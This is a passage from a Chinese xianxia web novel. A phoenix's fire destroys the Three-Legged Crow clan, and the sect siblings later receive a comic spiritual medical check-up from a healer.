原来是这样……乐鸿喃喃道:“所以他也是为了保护自己,才重启高禖殿,让那些人的恶念有释放的渠道……” “不错。”楚汴叹了口气,“三足乌族的男人多是被娇生惯养长大,胸无大志,碌碌无为,不然也不会甘愿留在偏远的沙漠荒城之中安度一生;只要满足了他们的**和基本需求,他们死也想不到什么反抗、对错,未来……事实证明,只要火没烧到身上,他们大部分都觉得这样过得很舒服。” 其实曾换月越听越觉得,不只是三足乌族吧,这完全就是基本盘啊…… “因此,我并不是不同情那些女人,”楚汴面色平静地把话说了回来,“只是没有她们也会有鸭子,鸭子死了一批便会有下一批。 今日害人者明日便是被害者,所有人之间并无不同……那些女人,只是倒霉生了个柔弱的性别;若她们是男子……也许变成受害者的时日会延缓一些吧。” “今日变成女子的那十人,若是出了什么意外,或是生不下新的女人结束这不平衡的糟糕情况……也许某一天,我也会成为高禖殿中的新鸭子。所以何必需要同情呢?” 大伙听罢,都陷入了沉默。 石映心想到先前在高禖殿中,一只鸭子对胖瘦侍卫说的话: 【你们这些同室操戈、自相残杀的小人,能有今日的得意不过是你们走运!等我们这批人死光了就轮到你们了!什么男人鸭子,你我之间根本没有不同——】 所以这是一个死局……或者说,从七年前那些女人的灭亡开始,三足乌族就失去了拨乱反正的机会,在错误的路上一去不复返。人人在独善其身的同时又控制不了自己的恶念,于是悲剧越滚越大; 不是没有尝试过解决,但解决的办法却是“男人变女人”这样的错上加错、还试图负负得正的愚蠢办法;甚至为了维护自己的私欲而抗拒外族人进城,抗拒改变。 这些男人真的是…… “你们都该死。”石映心想了一圈,最后得出这个结论,“既然已无回头之路,死亡便是你们最好的归宿。” 她这话说得很重,但楚汴只是耸了耸肩,轻松道:“不错,我想我族也没有几代人可活了,那又如何呢?只要我活得高兴便好,他们后代的事就随他们折腾吧。” 曾换月冷笑一声:“装都不装了是吧?” 楚汴闻言失笑道:“在一个只有男人的环境中生活一段时日你便会明白,少了需要欺骗的对象,他们都懒得装模作样;事到如今我也想省省力气,不再装出淤泥而不染了。” 他喝完手中的茶水,轻轻放下茶盏站起身来,冷漠中带着阴冷笑意的目光一一扫过几人:“晚上的庆功宴,还请几位仙人来赏光。不过如今死了一些人,应该没有白日的祭祀大典热闹。” “不去,”曾换月翻过白眼不看他,“看到你们就恶心。” 明易道:“既然是你们三足乌族的喜事,身为外人,我们还是不掺和了。” 楚汴微微笑道:“好……不过我想几位听我说了这么多,应已把破除我族封城一事放在了心上,届时天高海阔,你们便不必留在此处受恶心了。” 明易也朝他礼貌微笑:“自然。” 楚汴朝他们颔首告辞后,便头也不回地离开了。 他一走,曾换月就拍桌发脾气:“什么玩意!” 转头又质问乐鸿:“喂,乐鸿,你们梵音门可不能就这么轻易地放过他们啊!” 乐鸿苦着脸点了点头,其实心里也没底。 “欸,不过他来我们这是干嘛来的?”顾梦真忽然奇怪道,“好像只是说了一通、解决了我们的疑问就走了?” 明易还记得呢:“他本是来问映心为何会知道他们要把男人变女人的事,但说着说着似乎忘了。” “管他呢!”曾换月哼声道,“大师兄,留影珠都记好了吧?” 明易应了一声,将留影珠拿出来递给乐鸿:“木已成舟,我们因果牌的任务也已完成;等梵音门来人之后,便要先行告辞了。” 乐鸿接过留影珠,扬起一个苦涩但真诚的微笑:“嗯,这次真是多谢几位道友,若不是你们相助,我真的……唉。” 顾梦真拍拍他肩膀安慰道:“你也别太难过了嘛,何必为无关紧要之人的事这么苦恼呢?总之做好我们的分内事,接下来天听由命呗。” 乐鸿点点头,又叹了一口气道:“我明白的……我明白的。” 只是他就是这么敏感忧愁,实在是没办法。 既然晚上的庆功宴不去,几人便打算先回房休息,收拾收拾东西准备离开。 师姐妹俩回到屋里,曾换月坐在桌前发呆了一会,看向已经躺在床上休息的石映心道:“师姐,要不我们偷偷去看看呗?虽然这庆功宴不是庆祝什么好玩意,但反正……闲着也是闲着嘛,看看他们能搞出什么名堂。” 石映心把合上的眼睛睁开:“过来。” 过来?曾换月便走过去:“怎么了?” 石映心立起身来,往她背后拍了一下,就见曾换月两眼一翻,直直晕倒下来。石映心将她抱上床里头躺好,自己又躺了上去,盖上被子后继续合上了眼睛。 有些热闹还是不凑比较好。 石映心很快进入了梦乡。 “你想照我?哼,上回她们见我对着镜子讲话,还以为我有些毛病。” “……” “打雷下雨出来做什么?这么好奇,下回送你去幽都瞧瞧?那些鬼的死相凄惨古怪,有你照的。” “……” “我没那么容易死……呵,少说这些好听话,别以为我不知道你缠着我就是想我带你四处去玩。” “……” “真是越发没大没小了……我在世间大展拳脚之时,你还只是块愚笨的小石头。” “……” “我感到大限将至。” “你小心活着,别哪里磕着碰着就死了;好好修炼,若你我有缘分,便有再见的时候。” “待我卷土重来那一日……” * “映心?映心。” 石映心被叫醒,睁开眼时看到大师兄在昏暗中的双眸,沉静的眼光牵引着她的思绪回归清醒:“……大师兄,怎么了?” 明易想到她方才在睡梦中眉头紧皱的模样,心里有些发紧,不过现在不是关心她有没有做噩梦的时候:“起来吧,我们该走了。” 石映心应了一声,撑起身来,手臂碰到边上的曾换月:“换月被我弄晕了。” 明易:“我叫她,你收拾好东西。” “嗯。” 石映心下了床,发现屋里有橙红的亮,不过这光是从外头来的,她们屋里没点灯。她走到窗边将窗户推开一看,从她这间屋子的视角看不到什么景色,只能瞧见夜空被火光照亮,星河与火海相接。 隐隐约约,似乎有痛苦和无力的呻吟传来。 “是祭祀广场着火了。”明易叫醒了小师妹后,和看着窗外的石映心解释道,“三足乌族的人……不出意料全在火场中。” “啊?”刚睡醒的小师妹一脸懵,“啊?什么意思啊?” 明易叹了口气道:“乐鸿现在去接应梵音门的人赶去救火,我发现那火势不同寻常,便先来找你们。” 曾换月还是很茫然:“不是,怎么就着火了?虽然我是想过把他们一把火全烧死啦,但是……啊?怎么就着火了……” “不是我放的火。”石映心先澄清了一句。 “没有怀疑你。”明易想,但这家伙格外一说,似乎有些别样的意思。 曾换月甩了甩脑子,这么说:“我睡觉的时候师姐一直在我旁边,肯定不关师姐的事!” ……可是你睡晕了如何作证呢? 第166章 明易本没有怀疑两个师妹,但总觉得她们在怀疑自身:“我知道不关你们的事,收拾好了就随我出去看看。” 曾换月莫名松了口气:“好啊。” 她挤在师姐边上走,小声道:“师姐师姐,怎么回事啊?” 石映心一脸坦然:“不关我的事。” “我知道不关你的事,你就和我说嘛~~” “……等会便知道了。” 二人随着明易来到祭祀广场,就见这火确实不同寻常:顾梦真的降雨云舟丝毫不起作用,不管下了多大多少的雨,火势依旧毫不衰减,甚至有越舞越欢的意思,搞得她们二师兄抓耳挠腮没有办法。怪的是火势并没有乱跑,只绕了祭祀广场一圈,仿佛在阻挠旁人进去。 她们来得晚,火场中的人该死的死该晕的晕,有些意识的也是奄奄一 息、神志不清;地上散了一地的锅碗瓢盆烂酒臭菜,郑银仁的位置很显眼,一眼就能瞧见他趴在桌上不省人事的模样。 顾梦真见她们来了便说:“你们来晚了,方才还挺热闹的,像下饺子一样扑腾扑腾,现在他们差不多都有几分熟,没力气折腾了。” 明易瞥他:“说正经事。” “哦。”顾梦真一摊手,表示自己的无奈,“不是我见死不救啊,这火连我降雨云舟的灵水都浇不灭;而且方才乐鸿冲进去救人,差点也要死,还好我用呆头呆脑小木人将他抱了出来,他身上的衣服着火也灭不了,直接报废了一件;这下他也不敢进去了。” 明易叹了口气道:“看来这真是凤凰神火,我们如何灭得了?” 曾换月表情复杂地喃喃道:“这下可不是我们见死不救……是你们的神要你们死。” 火光中似乎有些微弱的求救声和呻吟,如此渺小;在几人不知所措之时,就见不远处有一大批人飞了过来,正是梵音门一行人,其中有他们见过的乐学和观德仙僧。 两队人会面,这也不是寒暄问好的时候,观德仙僧一落地就单刀直入道:“这是凤凰的涅槃神火,非寻常灵水能浇灭;不过我梵音门元婴后期的弟子化作金身之后,可撑一刻钟入火海中救人。” 这么说着,又朝乐鸿道:“乐鸿,你金身不稳,就不必进去了。” 乐鸿方才已经进去过了呢,原本光洁的一颗脑袋现在灰扑扑的,瞧着好可怜:“是,师父。” 明易也颔首道:“劳烦了。” 他们来的弟子有四五十人,但能化抵御凤凰神火的金身的只有十位,应是其中修为最高深者了,还只能撑一刻钟…… 观德仙僧又对顾梦真道:“梦真的云舟可继续降雨,为弟子们解些热意。” “小辈明白。”顾梦真连连答应。 交代完这边,观德仙僧又问乐鸿:“你在信中提到高禖殿在哪?带为师过去。” “弟子遵命!” 于是他们又匆匆离开,非常训练有素、争分夺秒。剩下的十名金身弟子中有乐学,见他已化作金身的模样,很像佛教中的十八铜人,那应是发着金光的铜身,并非真金。 他们冲进火中,先是聚合在了中央,再按人数分散了十个方位,由内到外地去找幸存者。 “哇,这……”顾梦真看着那些金铜人感叹道,“你说他们的金身进了炼器炉中会怎样呢?” 曾换月:“不知道,但你会被抓起来。” 顾梦真哈哈:“开玩笑的嘛。” 这时候乐学似乎已经找到了幸存者,打算抱着他往外走,但正要跨过边沿的火海时,忽然沸腾的火焰里冒出一只火鸟,猛地往他脑壳上啄了一口。 乐学闷哼一声,完全猝不及防,但他怀里还抱着幸存者,自然不可能把人扔了去对付那只鸟,就想着加快脚步赶紧越过火海。可那只鸟却没想放过他,不停地在他面前打转阻挠,要去啄他。 其实里头的景况在火焰的遮掩下很混乱模糊,只有镜灵看清乐学的脑壳上破了个流血的伤口,血液已经自上而下地流过了他一张脸。金身竟就这么被啄了一口就破了。 她飞快地告知了大师兄火鸟的事,自己先飞去救乐学。好在火鸟只在火场边缘出现,她在外头尚能送进去一些剑招。 在她的帮助下,乐学好险将人抱了出来放在地上;来不及道谢,他擦了把额头的血汗,忽然双目一震;在石映心的注目中,他的金身似琉璃破碎,尽数从他身上坍塌掉下,像落地熄灭的火花。 乐学发怔地看了看自己恢复原样的双手,失落道:“……是我道行太浅。” 石映心微微摇头:“是你们不该进去救人。” 她话音未落,地上的人艰难地咳了两声,低头一看,竟是老熟人,真是好巧。 “阿弥陀佛,”乐学很快平复了心态,淡然而坚定道,“我佛慈悲,生死有命。” 翻译:不管他们该生该死,反正我得救人。 石映心知道他和乐鸿是一类人,便不乐意多说,叫他去边上休息别碍事;这人还想顺便把刚救出来的楚汴抱走,可就在他将要抱起地上奄奄一息的人时,只听一声急促的“小心”,他猛地被一股大力拍飞了。 混乱之中,他瞧见一只有成人般大小的火鸟从火海中飞扑出来,飞一下扑在了石映心的剑上——也就是他原本待着的地方。 乐学深呼一口气,热意顺着鼻腔充斥了他的大脑,溢出层层冷汗;他怔然地看着那只火鸟和石道友过了几招,但剑招对它几乎毫无作用;石道友也很快意识到,不犹豫地停下了防卫;那鸟的目标不是她,少了阻碍之后便一头扎向了地上的人。 人类的躯体被火鸟侵入,自内向外地烧了起来。 乐学眼睁睁看着这一切,感到口感舌燥,几乎说不出一句话了;当然,就是能说,他也没资格没道理去谴责对方什么;如今唯一能做的,只是朝那将死之人一拜,只当萍水相逢的送行。 他倒是看得开,但躺在地上要死的人是无法接受的。 “救、救我……” 镜灵不喜欢看楚汴似笑非笑的虚伪表情,这人给她的感觉像沉闷潮湿的阴天,非常不讨喜;如今见他这般难得真诚的感情,虽然是悲哀的、恳切的求救,她倒是没那么反感了。 “石仙人……” 火势在他身上烧得很欢,石映心怀疑他的五脏六腑应该已经被烧焦了,但这人还活着,竟有些力气朝她的脚伸出手来,虽然没摸到。 “求你、求你……救我……” 镜灵蹲了下来,对着他说:“我知道你想要什么。你想要我们破开封印,好让你离开三足乌城,从此海阔天空,再也不回来。” 楚汴的双眸似乎在颤抖,或者只是倒映了火焰的喧嚣,喧嚣中那唯一静谧的人影,他今生最后的希望,何时轻易看透了他? 火将他艰难翘起的嘴角烧红:“仙人……真是神通广大……非我这般……渺小的蝼蚁可欺瞒……” 石映心看着他着火的双眼:“你嫉妒我们。” “哈,哈哈……不错。”他的喉咙已经烧哑,“我嫉妒……你们这些……不食、人间烟火的修士……厌恶我等、为己恶念……祈神高照……却无所可依的凡人。罢了……是我不该奢求同情……而如今……” 少司命的视线从镜灵的身上移开,望向深黑的空中繁星簇拥的明月,人间地狱与世外仙境在此刻被火光相融;但天那么高那么远,凡人眼中的触手可及,只是期许的幻象罢了。 “……神终于将我厌弃。” 他的双眸变成了流出血泪的石头。 石映心没有帮人死后瞑目的贴心,其实这会也不需要,火焰瞬间就将三足乌族的少司命吞噬殆尽。 有一根羽毛从她的怀中飘了出来,她来不及去捉,就见羽毛幻化成凤凰的影子,鸣叫一声后在火场上绕了一圈,所有的火焰如水赴壑般往天上飞去,尽数被凤凰收入囊中。 什么水都浇不灭的神火一眨眼便消失殆尽,只留下黑黄的大地上烧焦的、横七竖八的人干,以及灰头土脸、满目茫然的修士。 不远处高禖殿的入口边,梵音门的弟子们忙忙碌碌进进出出,乐鸿惊讶地指着天边:“师父,您看!” 观德仙僧自然都看见了,感叹道:“没想到为师这辈子有机会得见凤凰涅槃。” 乐鸿听师父这么说,心里也有些激动:“师父,我记得书上曾说,凤凰背负世间苦难和恩怨自愿投身火海,以性命换取人间新的祥和幸福,死而复生。这么听来,倒是与我们门派中的神佛故事有些相像。” 观德仙僧:“乐鸿,你可知为何相像?” 乐鸿想了想:“都是舍生取义的感人故事,蕴含大无畏襟怀。” 观德仙僧闻言,笑着摇了摇头。 “乐鸿请师父指点。” 观德仙僧道:“只因它们都是故事,故事是凡人编撰的,神仙并不掺和;人们祈求什么,故事中的神便应有这般法力。像凤凰这类上古自然神,与我们如今侍奉的神佛有很大不同,如今却大同小异,确实叫人唏嘘。” 乐鸿似乎有些明白,但依旧感到许多茫然,他望着不远处夜空中飞向月亮的火凤凰,喃喃道:“那么这一次的凤凰涅槃……是为了什么呢?” “师姐!” 石映心转头,看见小师妹她们跑过来:“刚刚的凤凰……是帝俊羽毛变的?” “嗯,”石映心微微颔首,倒也没有失落,“原来不是感恩的信物,是寄放在我这里的陷阱。” “好贼的神哦。”曾换月吐槽道,“那帝俊就这么飞走了?它会去哪呢?” 石映心:“不知道。” 第167章 顾梦真觉得现在的重点不是这个吧,他扫了眼边上惨状,唏嘘道:“这些族人还是全死光了,无一幸免。好在梵音门的弟子们都没事,但多少也受了点伤。看来帝俊是真的不想放过他们。” 明易微微颔首:“嗯。” “谁说死光了?”曾换月朝侧前方一台下巴,“喏,那些高禖殿里的鸭子不还活着?” 几人转眼望去,就见观德仙僧领着一大群人走了过来:这些在高禖殿中不见天日的鸭子们,这会手脚上都带着仙家镣铐,灵光照着他们狼狈不堪的躯体,在夜色中这么一连串地走过来,像排队去投胎的鬼魂。 梵音门不知哪里弄来一个类似囚车的车子,里头是那些无法自理的怪种;弟子们左右排成两列护送着队伍,板正的脸色都有些复杂。 乐学迎上去和他师父阐述了情况,观德仙僧闻言,朝那一片尸体拜了拜,念叨了几句佛言,除此之外并没表现出太多同情,公事公办地开始指挥弟子们运人的运人,搜城的搜城。 今晚注定是个不眠夜。 好在归壹派四人不必再受这些折磨, 观德仙僧贴心地让他们先回梵音门歇息,这里就交给他们处理便好;四人当然不想多留,客气告辞后便飞走了。 石映心御剑在夜空中飞行,往下望去,星星点点的火光隐约照亮了三足乌城的轮廓,有些寂寥的美感。这片沙漠中的绿洲城,千秋万代里定有它繁华热闹的时候;虽说如今已无法追寻他们走向衰败的第一步,不过…… 以传说中凤凰涅槃的奇迹做悲剧结尾的印记,怎么不算神的恩赐呢? * 梵音门。 四人睡了个好觉,就连近日多梦的石映心也没做梦了。这一日早上醒来,推开房门就是梵音山上清新可爱的空气,让她心情大好。 几人再次来到梵音门膳堂用早膳,那些曾经被她们嫌弃的清汤寡水白粥小菜,如今每一口都很美味,感觉满汉全席也差不多是这味道吧。 “三足乌族真的把我们招待得很差。”吃饱喝足,顾梦真往椅背上一靠,喟叹道,“我从没觉得白粥这么有滋有味。” “是说不是呢?”曾换月也表示赞同,“他们族的饭菜难吃到让我大开嘴界。” 顾梦真瞥她:“又乱用词,教坏映心。” “有什么关系嘛,又不要考试。是吧师姐?” (石映心茫然抬头。) “你这人真的是……” 好了,吃饱了就有力气吵架了。 大概是三足乌城里的日子过得实在难熬,几人都觉得离家已久,迫切地想回门派休息;不过临走前还是要先和乐鸿道别的,他这两日忙着跟他师父处理三足乌族的事,下午的时候去找他,四人在会客厅等了会才见到面。 “哦,你们要走了……”乐鸿混乱的脑子回过神来,立刻就有遗憾的表情,“这……要不再多留几日吧,我还想办个送行宴好好答谢几位的鼎力相助……” “可不必了吧。”顾梦真看着他两只眼睛下的大黑眼圈,同情道,“要注意休息啊乐鸿。” 乐鸿苦笑一声:“三足乌族百孔千疮,料理后事还挺麻烦的。我没有经验,一时手忙脚乱,对你们也招待不周……” 明易道:“不必这么客气,自然是以要事为先。” “对啊,你别这么说嘛,”曾换月宽慰他,“而且我们来这是要完成因果牌任务,不是为了你的招待。” 石映心:“嗯。” “多谢几位的担待,”乐鸿有些感动,满眼真诚道:“下回你们再来,我一定好好带你们玩。” 曾换月:“好说好说,什么时候也来我们归壹派玩呗。” “嗯,一言为定!” 告别乐鸿后,几人启程回门派,路过梵音门前山时瞧见下方一片骚乱,抱着凑热闹和可以顺便帮忙的想法,他们打算过去看看情况。没想到快落地的时候,几人都被空中的浓烟呛得咳嗽,紧急屏蔽了感官触觉。 那些香客可就没她们的本事了,个个都被呛得眼泪直流。 明易捉住一个弟子:“请问这些浓烟是怎么回事?” “唉,”那弟子叹了口气道,“我们梵音门的收烟宝器不知为何出故障了,还没找出问题呢。本来上我们这求神拜佛的香客就多,个个香火点起来可不就造成了浓烟?但大家来都来了,怎么甘愿徒劳而返呢?” 顾梦真便说:“我是归壹派的器修,不介意的话可以让我看看你们的收烟宝器。” 那弟子立刻高兴道:“自然不介意,感谢还来不及,道友快请跟我来!” 于是顾梦真就跟着去修宝器了,几人找了个不太拥挤的地方等他。 石映心靠在栏杆上看殿前的热闹景况:瑞烟之中,一切都很朦胧;色彩斑斓的人影在白茫茫中忽隐忽现,石雕香炉中时不时闪过几点火光,又被哪一色衣袖呼灭;偶尔山风吹开一片清明,镜灵就能看见凡人们流泪的面孔。 有人笑着抹泪,有人哭着磕头,有人挂泪祈祷。此情此景,镜灵无法分清哪一滴眼泪是被烟熏的,哪一滴眼泪是由心而发的;她转而又想,能来此地祈祷者,眼中定有几滴真心的眼泪,不过是多与少、善与恶的区别。 几炷香灰,难填嗔贪。神该实现谁的愿望呢? 她想到三足乌族祭祀大典,那些族人在血地上对着凤凰帝俊磕头叩拜;此刻她可怕地发现,这些香客与他们的心情有很多相同,都是一眼可见的满满诚心;只是这诚心是各色各味的,混乱地掩盖在香火瑞烟之下,不必追究。 石映心想,先前她御剑飞行路过人间时往下一瞥,凡人不过是山水间一点,浓墨并无不同;如今入了人间一瞧,这些在天上看起来似蝼蚁般的人,却是个个脸谱生动、个性鲜明。 所以她究竟该如何看待她们呢? 山风吹过,带来一阵绿野间的清新;日光总算抵达人们眼前,照透无数眼泪莹莹发光。 白烟消散。 * 梵音门驿站==> ==>归壹派驿站 啥都不必说了呗,先睡上三天三夜。 三日后。 其实就曾换月真的睡了三天三夜。她大师兄一回来就跑万事堂汇报任务去了,二师兄和师姐第二日就开始修炼。昨日还听说顾梦真跑万事堂去狮子大开口要求补贴,然后笑眯眯地回来了。 她对这三人真是无语了,何必如此高精力呢,显得她的劳逸结合也像偷懒。 唉! 翻身起床后,曾换月照例看话本和写作,很快就来到了午膳时间;去黑竹林找师姐一起吃了饭,中午又午睡了一会,这才有些不情愿地开始修炼。 她从储物空间里变出一张纸来,打开是一个复杂的阵法,摊开放在桌边,然后叹了口气喝了口水,这才认命般地开始临摹。进入状态后倒是心无旁骛了,瞧着好认真。 咚咚咚! 不知过了多久,忽然有人敲门,曾换月紧忙把桌上的一堆纸张收了起来,心慌慌地应了一声:“谁啊!” “你师父我。” 外头传来慕雲的声音,曾换月连跑带跳地开了门:“师父,你怎么来了?” 慕雲打量她:“你怎么慌慌张张的,瞒着为师在里头瞎捣鼓什么事呢?” “没有啦……”曾换月尴尬挠脸,“就是方才练习画符,不小心趴在桌上睡着了,师父你一敲门把我吓醒了。” 慕雲哼笑道:“罢了,就算是开小差,也是在不用为师督促、主动修炼的前提下,总比懒散的态度好。” 虽然听着不明显,但应该是夸她的意思?曾换月笑眯眯道:“是啊是啊,人要和自己比嘛,有进步就行……” 还顺杆爬呢,慕雲闻言,又皱起眉来:“你就是对自己要求太低了。” 曾换月一撇嘴:“师父你到底来找我干嘛?” “哦,是体检的事。”慕雲总算说回正事,“这次你们去三足乌族,不是说你师姐撞鬼后就变了性情吗,我便想趁此机会让映心由内及外地好好检查一番身子,顺便再搭你一个,免得你说我偏心。” 顿了顿又补充道:“为师出钱。” “体检啊……”曾换月想了想,摇头道,“前几年才体检过啊,好麻烦的,我不想去。” “你也说是几年前的事了……其实是映心要去。”慕雲道,“她想你陪她去。” “师姐想我陪吗?”曾换月虽然觉得这情况挺少见的,她师姐不是那种修炼吃饭干什么都要人陪的性子,不过她身为师姐最可亲可爱的小师妹,师姐想她陪一陪也是很正常的,于是善良的小师妹点头道,“既然如此,我就陪着去吧。” 慕雲满意道:“好,明日你俩就去。” “知道了。” 在这之后,另一位还不算当事人的当事人石映心:“……我身子已经没问题了师父,我不想去。” “你就当例行检查,很多弟子每年都要做呢。”慕雲和蔼一笑,“主要是换月要去,她想你陪她去。” “换月想我陪吗?”这情况确实很常见,换月就是那种修炼吃饭干什么都喜欢拉上人陪的性子;不过她身为小师妹的师姐,陪一陪她也是情理之中,于是善良的师姐点头道,“既然如此,我就陪她去吧。” 慕雲满意点头:“好,一言为定哈,不许临时反悔哦。” “好。”这有什么好临时反悔的? 就这么把二人骗去了,后续被拆穿了又如何,她可是师父,难道这俩小兔崽子还能对她咋滴? 慕雲:拿捏。 第168章 后来顾梦真不知从哪里知道了这事,听说是师父慷慨解囊,嚷嚷着自己也要去;慕雲拿他没办法,大方地答应了,干脆又说:“既然这样,顺便叫上你们大师兄一起吧。” 顾梦真想了想也是:“大师兄天天这么忙,可别把身子忙坏了,他确实该去。” 结果就变成师兄妹四人一起去。 归壹派的体检和凡人的体检有相同和不同。相同的就是测身量体型是否过肥过瘦,还有一些五脏六腑、气血脉搏等情况是否正常;不同的便是他们还能检查经脉丹田阴阳平衡等,看看是否有郁结阻碍了修为增进…… 说到这,自然得介绍一下负责体检的医修金花仙尊。医修算是归壹派中人数最稀少的法门,老早之前提到过,天下大比之后夺得魁首的归壹派招纳了其余七大门派的高阶法门、部分优秀弟子来本派扎根,至此,剑宗变为五花八门宗。 但不管如何五花八门,也会有多数人选择的主流法门和少数人的小众法门之分,比如符阵剑法药器为主流,医修则是少数。 个中缘由,虽复杂但也能简单一说:八大洲内最盛产医修的药神谷与归壹派关系不咋地。 而金花仙尊便来自药神谷。弟子们暗中传闻说她是和药神谷闹了矛盾,才栖身来归壹派避风头,顺便背刺对方一剑。不管她什么目的,咱们天下第一大派对这等贤能人士肯定是来者不拒,没在怕的。 金花仙尊名下有几位弟子,找她们也能体检,价格会便宜许多,但~这次不是她们师父出钱嘛,四人商议过后,非常孝顺地觉得还是不要辜负了师父的心意,要看就看最贵的! 石映心以前上过金花仙尊的草药课,不过她对这种选修课是没多少兴趣的,因此不该用“学”,最好换上“参与过”一词。没错,她参与过这堂课。 对这些划水的学生,金花仙尊一般没有印象,但她还偏偏记住了石映心,确实也巧:“咦,你有些眼熟……是那名咬毒蛇的小弟子。” 石映心:OO 她师兄妹:??? 石映心不记得这回事啊,所以就不确定自己是否真的做过,迟疑地说:“金花仙尊,我不爱吃蛇。” 金花哈哈笑起来:“可我分明记得你。当时我带你们班去过梦崖采草药,转眼看见你捉住一只毒蛇往嘴巴里塞;我问你为何咬它,你说因为它咬了你,哈哈哈!真是奇怪的小妹。” 她师兄妹:这理由,听起来是幼年石映心会做的事…… 石映心也这么觉得,又听大师兄道:“我印象中确实有映心中蛇毒一事,不过好在抢救及时,并无大碍。”倒是不知道她竟还想咬回去。 大师兄都这么说了,这事就此石锤。 金花又哈哈哈:“旁人被蛇咬了都不记得蛇的模样,她就捉在手中差点塞到嘴里,我自然知道她中的是何毒,解毒也方便。” 石映心就行礼说多谢仙尊救命之恩,金花却摆摆手道:“不必谢。你们这些小孩要是在我课上出了事,我也难逃其咎。生怕旁人说我是药神谷来的细作,故意掐灭你们归壹派的好苗子呢。” 曾换月:贴自己的脸开大啊! “怎么会。”石映心说,“细作来了我们归壹派都要主动策反的。” 小师妹也道:“要我是细作,我定要策反的,我们归壹派哪里没有药神谷好?” 顾梦真盘算着:“论财富,论规模,论实力……不说药神谷,哪一洲比得上我们嘛?” 明易不知道这几人究竟是何时被那些长老仙尊还中似有似无的、暗戳戳的“挤兑药神谷”的歪风邪气给传染了,问题是归壹派大部分的弟子都有这样的小脾气……好在他看金花仙尊的脸色,并无不喜。 金花不仅没有不高兴,甚至笑眯眯道:“你们这些孩子想得太简单了。来,我问你们一个问题,归壹派论综合实力确实是天下第一大派不错,可为何医术仙法这一百年来始终不比药神谷?甚至进展局限?” 顾梦真思考:“医修没有器修赚钱?” 金花哈哈。 曾换月猜测:“归壹派是剑宗发家的,喜欢比较激进的仙法?” 金花哈哈哈。 石映心瞎讲:“因为当时没能从药神谷抢更多的贤能之士壮大医修法门。” 金花:……? 明易叹了口气:“也许是因为药神洲的土壤气候等生存环境更适合奇花异草的生长,而且虫蛇众多,先天的医修资源充沛,非其他七大洲可比;传闻中骇人听闻的蛊修,也只有药神谷可供其修炼的资源。” “不错,”金花对明易投去赞同的眼光,“一朵花一株草是否能长得好,看得是土壤气候环境;有些花草只能在所谓的穷乡僻壤里扎根、生长,富饶的土还会适得其反。正所谓一方水土养一方人,修士也是这样的道理。” 三人一副学到了的模样:“噢~~” 金花见她们几人有趣,笑道:“闲谈这么久,还没问你们来找我做什么?” 明易告知了来意,金花颔首道:“我想起来了,昨日见到慕雲,她还和我提过这事。放心吧,既然来找我,我定把你们身上每根毫毛都看过一遍。” ……那倒也不必。 四人排队等着就诊。看诊办法就是二人打 坐,医修坐在后边,以灵识探入她们体内探查,这是寻常检查五脏六腑和经脉的手段。除此之外,金花仙尊又格外有一特殊的探法,与她饲养的灵蛇有关。 首先往病患的左手腕上放一条小白蛇,要给它咬一口脉搏,然后病患就开始变色了:一是变身上陈年旧伤,也包括发炎肿胀等局部的颜色;二是变肤色,有些测体内阴阳的意思。 比如石映心变成了小红人,明易变成了小蓝人。金花就道:“你们二位一人阳盛一人阴盛,平日可多相处贴近,有利于调整体内风水平衡,助长修为增进,有好处的。” 小红人和小蓝人对视一眼,二人都有些疑惑。 “啊?”曾换月张了张嘴,“只要贴贴就行了嘛?这么抽象啊。” 金花颔首道:“不错,说通俗点,这便是人的磁场互补。像你们这些小孩交朋友谈情说爱,常常讲究投缘,其实暗中也是磁场在作祟,说是有缘分罢了。” “那我呢那我呢?”小黄人曾换月连忙说,“金花仙尊,我这是什么情况?” 金花笑了笑:“你啊,你五行还算平衡,不过气血虚了些,平日好吃懒做是不是?” 小黄人:…… 小绿人顾梦真:“金花仙尊,我这个色呢?” 金花打量他:“肾脏和肝脏疲累,经脉流通有些滞缓,是不是近日熬夜过猛?” 顾梦真一下子苦了脸,可怜兮兮道:“仙尊你说得太对了,我已经三日没睡过觉了。前几日做任务回来,坏了好多宝器,一直在忙着修呢……” 金花便说四人都没有大碍,小毛病每个人都有,这很正常,平日注重调养便是:“凡人的疑难杂症对修士来说虽然不算问题,放着不管也能长命,但难受是一回事,阻碍修为增长就不好了。身子舒爽了,修炼起来事半功倍。” 这时候顾梦真又指着他大师兄问:“仙尊,我大师兄也是个大忙人,怎么不见他变绿?” 明易瞥他一眼。 金花:“人家先天身子条件好有什么办法?” 顾梦真:…… 石映心这时候说:“难道这条小白蛇也能看人的根骨天赋?” 金花朝她赞许一笑:“不错,但常人只看这些颜色是看不出来的;我嘛,看出来了也不便说,毕竟有些伤人。” 顾梦真故意哼哼道:“大师兄从小就被夸天才长大的,嫉妒早已将我的心伤透到麻木了!” “话不是这么说,”金花道,“人各有所长,是说每人可以找到与自己其它技能对比后的长处,或者干脆做自己喜欢的事,才好坚持和进步,何必与他人相比呢?再说天下之大,不是只有天才有容身之地。” 顾梦真其实就随便说说,大概是明易过得太“艰苦”,他早就对所谓的天才祛魅了,挠挠头道:“仙尊说的是,其实我当普通的器修就挺快乐的,大师兄也不喜欢炼器,和我也没什么冲突。” 曾换月也道:“能力越大责任越大,我气血虚,还是省省吧!” 明易:“这不是好吃懒做的理由。” 嘿嘿。 小白蛇之后便是小黑蛇,咬右手的经脉一口,此蛇能测心魔,一般很少有人来测,今日这不是全面体检嘛。被咬了之后,曾换月看看自己又看看师姐她们,奇怪道:“什么反应都没有啊,是不是说明我们心理很健康?” 金花认真的眼神一一打量过几人,微微颔首道:“确实无伤大雅,不过就是各怀鬼胎罢了。” 四人:OO? 不可思议的面面相觑过后,是曾换月先打破了平静:“什么鬼胎啊?你们有什么事情瞒着我吗?” 顾梦真肩膀一抬:“我能有什么事啊!?” 明易不以为意道:“每个人都有自己的心思。” 石映心颔首:“嗯。” 曾换月故意伤心抹泪:“呜呜其他人就算了,我还以为师姐和我是无话不说的呢呜呜呜……” “若是这样,”石映心顿了顿,“换月你先同我说你不可告人的事是什么好了。” 曾换月:…… “哈哈没想到仙尊你这么厉害呀,居然连各怀鬼胎都看得出来吗?”演戏停止,她打了个岔道,“这究竟是怎么看的?” 第169章 金花笑道:“我只是看到了你们心中的‘结’。心魔在形成之前便是这样的心结。你们也不必担忧,绝大部分人都有心结,只要不误入歧途,心结不会演变成心魔。平时还是要注意修身养性。” 四人连连应是。 金花仙尊又絮絮叨叨的交代了一些,详细地给每人的状况进行了分析,比如修炼的时候要注意什么巴拉巴拉,甚至还提供了“建议修炼”和“不建议修炼”的时间段。 